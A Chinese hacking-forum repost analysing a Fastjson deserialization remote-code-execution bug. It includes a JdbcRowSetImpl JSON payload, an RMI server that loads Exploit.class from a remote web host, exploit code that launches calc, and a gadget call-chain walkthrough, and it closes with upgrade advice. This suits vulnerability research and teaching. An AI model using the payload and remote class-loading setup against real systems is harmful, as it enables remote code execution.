HACK80

我们很年轻,但我们有信念、有梦想!

我们坚信只有今天付出了,才有机会看到明天的太阳!
现在!加入我们,给你一个气氛优秀的技术圈子

作者: EvilGod
查看: 109|回复: 0

more +随机图赏Gallery

2017年中旬WEB渗透系列课程-27HASH提权2017年中旬WEB渗透系列课程-27HASH提权
2017年中旬WEB渗透系列课程-23提权认识2017年中旬WEB渗透系列课程-23提权认识
X站神器-灰长给力-X站神器-灰长给力-
2017年中旬WEB渗透系列课程-11注入的其他姿势2017年中旬WEB渗透系列课程-11注入的其他姿势
2017年中旬WEB渗透系列课程-10基于提交方式注入的分析2017年中旬WEB渗透系列课程-10基于提交方式注入的分析
2017年中旬WEB渗透系列课程-09Mysql注入跨库2017年中旬WEB渗透系列课程-09Mysql注入跨库
2017年中旬WEB渗透系列课程-08Mysql注入读写2017年中旬WEB渗透系列课程-08Mysql注入读写
2017年中旬WEB渗透系列课程-07Mysql常规注入2017年中旬WEB渗透系列课程-07Mysql常规注入
2017年中旬WEB渗透系列课程-06Mysql注入分析2017年中旬WEB渗透系列课程-06Mysql注入分析
2017年中旬WEB渗透系列课程-05Access注入分析2017年中旬WEB渗透系列课程-05Access注入分析

基于JdbcRowSetImpl的Fastjson RCE PoC构造与分析

[复制链接]
EvilGod 发表于 2017-12-7 17:28:07 | 显示全部楼层 |阅读模式
查看: 109|回复: 0

马上注册,加入HACK80!与我们一起交流。

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
背景
这篇文章主要是基于我在看雪2017开发者峰会的演讲而来,由于时间和听众对象的关系,在大会上主要精力都集中在反序列化的防御上。前面的Fastjson PoC的构造分析涉及得很少,另外我在5月份分享的Fastjson Poc构造与分析限制条件太多,所以写下这篇文章。
Fastjson 使用
Fastjson是Alibaba开发的,Java语言编写的高性能JSON库。采用“假定有序快速匹配”的算法,号称Java语言中最快的JSON库。Fastjson接口简单易用,广泛使用在缓存序列化、协议交互、Web输出、Android客户端
提供两个主要接口toJsonString和parseObject来分别实现序列化和反序列化。项目地址:https://github.com/alibaba/fastjson。那我们看下如何使用?首先定义一个User.java,代码如下:
  1. public class User {
  2.     private Long   id;
  3.     private String name;
  4.     public Long getId() {
  5.         return id;
  6.     }
  7.     public void setId(Long id) {
  8.         this.id = id;
  9.     }
  10.     public String getName() {
  11.         return name;
  12.     }
  13.     public void setName(String name) {
  14.         this.name = name;
  15.     }
  16. }
复制代码
序列化的代码如下:
  1. import com.alibaba.fastjson.JSON;
  2. User guestUser = new User();
  3. guestUser.setId(2L);
  4. guestUser.setName("guest");
  5. String jsonString = JSON.toJSONString(guestUser);
  6. System.out.println(jsonString);
复制代码
反序列化的代码示例:
  1. String jsonString = "{"name":"guest","id":12}";
  2. User user = JSON.parseObject(jsonString, User.class);
复制代码

上述代码的parseObject也可以直接用parse接口。
Fastjson安全特性
反序列化的Gadget需要无参默认构造方法或者注解指定构造方法并添加相应参数。使用Feature.SupportNonPublicField才能打开非公有属性的反序列化处理,@type可以指定反序列化任意类,调用其set,get,is方法。

上图则是Fastjson反序列框架图。JSON门面类,提供一些静态方法,如parse,parseObject.其主要功能都是在DefaultJSONParser类中实现。DefaultJSONParser引用了ParserConfig,主要保存一些相关配置信息。也引用了JSONLexerBase,这个类用来处理字符分析。而反序列化用到的JavaBeanDeserializer则是JavaBean反序列化处理主类。fastjson在1.2.24版本添加enable_autotype开关,将一些类加到黑名单中,后续我也给它报过bypass,fastjson也一并修复。
JNDIJNDI即Java Naming and Directory Interface,翻译成中文就Java命令和目录接口,2016年的blackhat大会上web议题重点讲到,但是对于json这一块没有涉及。JNDI提供了很多实现方式,主要有RMI,LDAP,CORBA等。我们可以看一下它的架构图
!(2)[/images/JdbcRowSetImpl_2.png],JNDI提供了一个统一的外部接口,底层SPI则是多样的。在使用JNDIReferences的时候可以远程加载外部的对象,即实现factory的初始化。如果说其lookup方法的参数是我们可以控制的,可以将其参数指向我们控制的RMI服务,切换到我们控制的RMI/LDAP服务等等。
  1. Registry registry = LocateRegistry.createRegistry(1099);
  2. //http://xxlegend.com/Exploit.class
  3. Reference reference = new javax.naming.Reference(“Exploit",“Exploit","http://xxlegend.com/");
  4. ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference);
  5. registry.bind(“Exploit", referenceWrapper);
复制代码
这段代码主要讲到了在1099端口上创建一个RMI服务,RMI的内容则是通过外部的http服务地址获取。在客户端则是将lookup的地址指向刚才我们创建的RMI服务,即能达到远程代码执行的目的。可以使用如下的请求端代码进行测试:
  1. Hashtable env = new Hashtable();
  2. env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
  3. env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
  4. Context ctx = new InitialContext(env);
  5. Object local_obj = RicterCctx.lookup("rmi://xxlegend.com/Exploit");
复制代码

那么攻击者的流程就是这样的。攻击者准备rmi服务和web服务,将rmi绝对路径注入到lookup方法中,受害者JNDI接口会指向攻击者控制rmi服务器,JNDI接口向攻击者控制web服务器远程加载恶意代码,执行构造函数形成RCE。
PoC构造与分析
介绍的背景有点多,正式切入我们的正题,基于JdbcRowSetImpl的PoC是如何构造和执行的。在今年5月份的时候,我也公布了Fastjson基于TemplateImpl的PoC的,但是限制还比较多,需要打开SupportNonPublic开关,这个场景是比较少见的,详细的分析见我的博客http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/,后续ricterz也作了一篇分析:https://ricterz.me/posts/Fastjson%20Unserialize%20Vulnerability%20Write%20Up
在看雪峰会上我提到了好几种PoC,下面我简单的给这些PoC做个分类:
1,基于TemplateImpl
2,基于JNDI Bean Property类型
3,基于JNDI Field类型
今天主讲基于JNDI Bean Property这个类型,这个类型和JNDI Field类型的区别就在于Bean Property需要借助setter,getter方法触发,而Field类型则没有这个必要。JdbcRowSetImpl刚好就在Bean Property分类之下,其他的PoC后续再讲。这个Poc相对于TemplateImpl却没有一点儿限制,当然java在JDK 6u132, 7u122, or 8u113补了是另外一码事。 PoC具体如下:
  1. {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:389/obj","autoCommit":true}
复制代码
由于这个PoC是基于JNDI,下面我们简单构造一下,首先是服务端的代码:
  1. public class JNDIServer {
  2.     public static void start() throws
  3.             AlreadyBoundException, RemoteException, NamingException {
  4.         Registry registry = LocateRegistry.createRegistry(1099);
  5.         //http://xxlegend.com/Exploit.class即可
  6.         Reference reference = new Reference("Exloit",
  7.                 "Exploit","http://xxlegend.com/");
  8.         ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
  9.         registry.bind("Exploit",referenceWrapper);
  10.     }
  11.     public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
  12.         start();
  13.     }
  14. }
复制代码
rmi服务端需要一个Exploit.class放到rmi指向的web服务器目录下,这个Exploit.class是一个factory,通过Exploit.java编译得来,在JNDI执行的过程会被初始化。如下是Exploit.java的代码:
  1. public class Exploit {
  2.     public Exploit(){
  3.         try{
  4.             Runtime.getRuntime().exec("calc");
  5.         }catch(Exception e){
  6.             e.printStackTrace();
  7.         }
  8.     }
  9.     public static void main(String[] argv){
  10.         Exploit e = new Exploit();
  11.     }
  12. }
复制代码
服务端构造好之后,下面来看java应用执行的代码,示例如下:
  1. public class JdbcRowSetImplPoc {
  2.     public static void main(String[] argv){
  3.         testJdbcRowSetImpl();
  4.     }
  5.     public static void testJdbcRowSetImpl(){
  6.         //        String payload = "{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit"," +
  7. //                " "autoCommit":true}";
  8.         String payload = "{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit"," +
  9.                 " "autoCommit":true}";
  10.         JSON.parse(payload);
  11.     }
  12. }
复制代码
完整的代码已经放到
  1. PoC调用栈如下
  2. ![3](/images/JdbcRowSetImpl_3.png)
  3. 从这个调用栈就可以看出,在进入Gadget之前,首先是Java应用调用Fastjson的parseObject或者parse接口,进入JavaObjectDeserializer.deserialize方法,经过一系列判断之后发现是JavaBean,就会调用JavaBeanDeserializer.deserialize接口,反序列化得到Gadget相关域,在这个过程中都是通过反射调用这些域的getter,setter或者is方法,这就正式在Gadget执行代码。下面看一下在Gadget中执行的代码。在反序列化过程中是有次序来调用相应接口的,首先是设置dataSourceName属性,这个是其父类BaseRowSet继承过来的。
  4. ```java
  5. public void setDataSourceName(String name) throws SQLException {
  6.     if (name == null) {
  7.         dataSource = null;
  8.     } else if (name.equals("")) {
  9.        throw new SQLException("DataSource name cannot be empty string");
  10.     } else {
  11.        dataSource = name;
  12.     }
  13.     URL = null;
  14. }
复制代码
设置autoCommit属性:
  1. public void setAutoCommit(boolean var1) throws SQLException {
  2.     if(this.conn != null) {
  3.         this.conn.setAutoCommit(var1);
  4.     } else {
  5.         this.conn = this.connect();
  6.         this.conn.setAutoCommit(var1);
  7.     }
  8. }
复制代码
这setAutoCommit里函数里会触发connect函数。
  1. private Connection connect() throws SQLException {
  2.     if(this.conn != null) {
  3.         return this.conn;
  4.     } else if(this.getDataSourceName() != null) {
  5.         try {
  6.             InitialContext var1 = new InitialContext();
  7.             DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
  8.             return this.getUsername() != null && !this.getUsername().equals("")?var2.getConnection(this.getUsername(), this.getPassword()):var2.getConnection();
  9.         } catch (NamingException var3) {
  10.             throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
  11.         }
  12.     } else {
  13.         return this.getUrl() != null?DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()):null;
  14.     }
  15. }
复制代码
这里面就调用InitialContext的lookup方法,而且找到的就是我们前面设置的DataSourceName(),达到远程调用任意类的目的。由于JdbcRowSetImpl是官方自带的库,所以这个PoC的威力相对来说更厉害。如果还在使用Fastjson 1.2.24版本及以下烦请升级。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|小黑屋|手机版|HACK80 ( 沪ICP备15007512号 )

GMT+8, 2017-12-15 12:19 , Processed in 0.062216 second(s), 24 queries .

Powered by Discuz! X3.4 © 2001-2013 Comsenz Inc.